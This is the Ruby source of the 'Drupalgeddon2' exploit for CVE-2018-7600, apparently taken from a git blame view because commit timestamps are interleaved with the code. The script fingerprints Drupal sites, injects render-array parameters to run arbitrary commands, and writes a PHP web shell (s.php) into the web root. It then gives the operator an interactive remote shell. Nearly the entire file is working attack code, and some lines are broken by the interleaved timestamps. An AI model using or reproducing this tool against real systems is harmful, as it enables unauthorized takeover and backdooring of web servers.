2018-04-17 19:39:26 +00:00
#!/usr/bin/env ruby
#
2018-04-23 16:41:59 +00:00
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
2018-04-17 19:39:26 +00:00
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
#
require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'
2018-04-23 16:41:59 +00:00
# Settings - Proxy information (nil to disable)
2018-04-17 19:39:26 +00:00
proxy_addr = nil
proxy_port = 8080
2018-04-23 16:41:59 +00:00
# Settings - General
$useragent = " drupalgeddon2 "
webshell = " s.php "
writeshell = true
# Settings - Payload (we could just be happy without this, but we can do better!)
#bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
bashcmd = " <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } "
bashcmd = " echo " + Base64 . strict_encode64 ( bashcmd ) + " | base64 -d "
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Function http_post <url> [post]
def http_post ( url , payload = " " )
uri = URI ( url )
request = Net :: HTTP :: Post . new ( uri . request_uri )
request . initialize_http_header ( { " User-Agent " = > $useragent } )
request . body = payload
return $http . request ( request )
end
# Function gen_evil_url <cmd>
def gen_evil_url ( evil , feedback = true )
# PHP function to use (don't forget about disabled functions...)
phpmethod = $drupalverion . start_with? ( '8' ) ? " exec " : " passthru "
#puts "[*] PHP cmd: #{phpmethod}" if feedback
puts " [*] Payload: #{ evil } " if feedback
## Check the version to match the payload
# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
if $drupalverion . start_with? ( '8' )
# Method #1 - Drupal 8, mail, #post_render - response is 200
url = $target + " user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax "
payload = " form_id=user_register_form&_drupal_ajax=1&mail[a][ # post_render][]= " + phpmethod + " &mail[a][ # type]=markup&mail[a][ # markup]= " + evil
# Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
#url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
elsif $drupalverion . start_with? ( '7' )
# Method #3 - Drupal 7, name, #post_render - response is 200
url = $target + " ?q=user/password&name[%23post_render][]= " + phpmethod + " &name[%23type]=markup&name[%23markup]= " + evil
payload = " form_id=user_pass&_triggering_element_name=name "
else
puts " [!] Unsupported Drupal version "
exit
end
# Drupal v7 needs an extra value from a form
if $drupalverion . start_with? ( '7' )
response = http_post ( url , payload )
form_build_id = response . body . match ( / input type="hidden" name="form_build_id" value="(.*)" / ) . to_s ( ) . slice ( / value="(.*)" / , 1 ) . to_s . strip
puts " [!] WARNING: Didn't detect form_build_id " if form_build_id . empty?
#url = $target + "file/ajax/name/%23value/" + form_build_id
url = $target + " ?q=file/ajax/name/%23value/ " + form_build_id
payload = " form_build_id= " + form_build_id
end
return url , payload
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
2018-04-17 19:39:26 +00:00
# Quick how to use
if ARGV . empty?
puts " Usage: ruby drupalggedon2.rb <target> "
puts " ruby drupalgeddon2.rb https://example.com "
exit
end
# Read in values
2018-04-23 16:41:59 +00:00
$target = ARGV [ 0 ]
2018-04-17 19:39:26 +00:00
# Check input for protocol
2018-04-23 16:41:59 +00:00
if not $target . start_with? ( 'http' )
$target = " http:// #{ $target } "
2018-04-17 19:39:26 +00:00
end
# Check input for the end
2018-04-23 16:41:59 +00:00
if not $target . end_with? ( '/' )
$target += " / "
2018-04-17 19:39:26 +00:00
end
2018-04-23 16:41:59 +00:00
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
2018-04-17 19:39:26 +00:00
2018-04-23 16:41:59 +00:00
# Banner
puts " [*] --==[:: # Drupalggedon2::]==-- "
2018-04-17 19:39:26 +00:00
puts " - " * 80
2018-04-23 16:41:59 +00:00
puts " [*] Target : #{ $target } "
puts " [*] Write? : Skipping writing web shell " if not writeshell
puts " - " * 80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Setup connection
uri = URI ( $target )
$http = Net :: HTTP . new ( uri . host , uri . port , proxy_addr , proxy_port )
# Use SSL/TLS if needed
if uri . scheme == " https "
$http . use_ssl = true
$http . verify_mode = OpenSSL :: SSL :: VERIFY_NONE
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
2018-04-17 19:39:26 +00:00
# Try and get version
2018-04-23 16:41:59 +00:00
$drupalverion = nil
2018-04-17 19:39:26 +00:00
# Possible URLs
url = [
2018-04-23 16:41:59 +00:00
$target + " CHANGELOG.txt " ,
$target + " core/CHANGELOG.txt " ,
$target + " includes/bootstrap.inc " ,
$target + " core/includes/bootstrap.inc " ,
2018-04-17 19:39:26 +00:00
]
# Check all
url . each do | uri |
# Check response
2018-04-23 16:41:59 +00:00
response = http_post ( uri )
2018-04-17 19:39:26 +00:00
if response . code == " 200 "
puts " [+] Found : #{ uri } ( #{ response . code } ) "
2018-04-23 16:41:59 +00:00
2018-04-17 19:39:26 +00:00
# Patched already?
puts " [!] WARNING: Might be patched! Found SA-CORE-2018-002: #{ url } " if response . body . include? " SA-CORE-2018-002 "
2018-04-23 16:41:59 +00:00
# Try and get version from the file contents
$drupalverion = response . body . match ( / Drupal (.*), / ) . to_s . slice ( / Drupal (.*), / , 1 ) . to_s . strip
# If not, try and get it from the URL
$drupalverion = uri . match ( / core / ) ? " 8.x " : " 7.x " if $drupalverion . empty?
2018-04-17 19:39:26 +00:00
# Done!
break
elsif response . code == " 403 "
puts " [+] Found : #{ uri } ( #{ response . code } ) "
2018-04-23 16:41:59 +00:00
# Get version from URL
$drupalverion = uri . match ( / core / ) ? " 8.x " : " 7.x "
2018-04-17 19:39:26 +00:00
else
puts " [!] MISSING: #{ uri } ( #{ response . code } ) "
end
end
2018-04-23 16:41:59 +00:00
# Feedback
if $drupalverion
status = $drupalverion . end_with? ( 'x' ) ? " ? " : " ! "
puts " [+] Drupal #{ status } : #{ $drupalverion } "
else
2018-04-17 19:39:26 +00:00
puts " [!] Didn't detect Drupal version "
puts " [!] Forcing Drupal v8.x attack "
2018-04-23 16:41:59 +00:00
$drupalverion = " 8.x "
2018-04-17 19:39:26 +00:00
end
puts " - " * 80
2018-04-23 16:41:59 +00:00
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
2018-04-17 19:39:26 +00:00
2018-04-23 16:41:59 +00:00
# Make a request, testing code execution
puts " [*] Testing: Code Execution "
# Generate a random string to see if we can echo it
random = ( 0 ... 8 ) . map { ( 65 + rand ( 26 ) ) . chr } . join
url , payload = gen_evil_url ( " echo #{ random } " )
response = http_post ( url , payload )
if response . code == " 200 " and not response . body . empty?
#result = JSON.pretty_generate(JSON[response.body])
result = $drupalverion . start_with? ( '8' ) ? JSON . parse ( response . body ) [ 0 ] [ " data " ] : response . body
puts " [+] Result : #{ result } "
2018-04-17 19:39:26 +00:00
2018-04-23 16:41:59 +00:00
puts response . body . match ( / #{ random } / ) ? " [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO! " : " [+] Target might to be exploitable? "
2018-04-17 19:39:26 +00:00
else
2018-04-23 16:41:59 +00:00
puts " [!] Target is NOT exploitable ~ HTTP Response: #{ response . code } "
exit
2018-04-17 19:39:26 +00:00
end
puts " - " * 80
2018-04-23 16:41:59 +00:00
# Location of web shell & used to signal if using PHP shell
webshellpath = nil
prompt = " drupalgeddon2 "
# Possibles paths to try
paths = [
" ./ " ,
" ./sites/default/ " ,
" ./sites/default/files/ " ,
]
# Check all
paths . each do | path |
puts " [*] Testing: File Write To Web Root ( #{ path } ) "
# Merge locations
webshellpath = " #{ path } #{ webshell } "
# Final command to execute
cmd = " #{ bashcmd } | tee #{ webshellpath } "
# Generate evil URLs
url , payload = gen_evil_url ( cmd )
# Make the request
response = http_post ( url , payload )
# Check result
if response . code == " 200 " and not response . body . empty?
# Feedback
#result = JSON.pretty_generate(JSON[response.body])
result = $drupalverion . start_with? ( '8' ) ? JSON . parse ( response . body ) [ 0 ] [ " data " ] : response . body
puts " [+] Result : #{ result } "
# Test to see if backdoor is there (if we managed to write it)
response = http_post ( " #{ $target } #{ webshellpath } " , " c=hostname " )
if response . code == " 200 " and not response . body . empty?
puts " [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!! "
break
else
puts " [!] Target is NOT exploitable. No write access here! "
end
else
puts " [!] Target is NOT exploitable for some reason ~ HTTP Response: #{ response . code } "
end
webshellpath = nil
end if writeshell
puts " - " * 80 if writeshell
if webshellpath
# Get hostname for the prompt
prompt = response . body . to_s . strip
# Feedback
puts " [*] Fake shell: curl ' #{ $target } #{ webshell } ' -d 'c=whoami' "
elsif writeshell
puts " [!] FAILED: Coudn't find writeable web path "
puts " [*] Dropping back direct commands (expect an ugly shell!) "
end
2018-04-17 19:39:26 +00:00
2018-04-23 16:41:59 +00:00
# Stop any CTRL + C action ;)
trap ( " INT " , " SIG_IGN " )
2018-04-17 19:39:26 +00:00
2018-04-23 16:41:59 +00:00
# Forever loop
loop do
# Default value
result = " ERROR "
2018-04-17 19:39:26 +00:00
2018-04-23 16:41:59 +00:00
# Get input
command = Readline . readline ( " #{ prompt } >> " , true ) . to_s
2018-04-17 19:39:26 +00:00
2018-04-23 16:41:59 +00:00
# Exit
break if command =~ / exit /
2018-04-17 19:39:26 +00:00
2018-04-23 16:41:59 +00:00
# Blank link?
next if command . empty?
2018-04-17 19:39:26 +00:00
2018-04-23 16:41:59 +00:00
# If PHP shell
if webshellpath
2018-04-17 19:39:26 +00:00
# Send request
2018-04-23 16:41:59 +00:00
result = http_post ( " #{ $target } #{ webshell } " , " c= #{ command } " ) . body
# Direct commands
else
url , payload = gen_evil_url ( command , false )
response = http_post ( url , payload )
if response . code == " 200 " and not response . body . empty?
result = $drupalverion . start_with? ( '8' ) ? JSON . parse ( response . body ) [ 0 ] [ " data " ] : response . body
end
2018-04-17 19:39:26 +00:00
end
2018-04-23 16:41:59 +00:00
# Feedback
puts result
2018-04-17 19:39:26 +00:00
end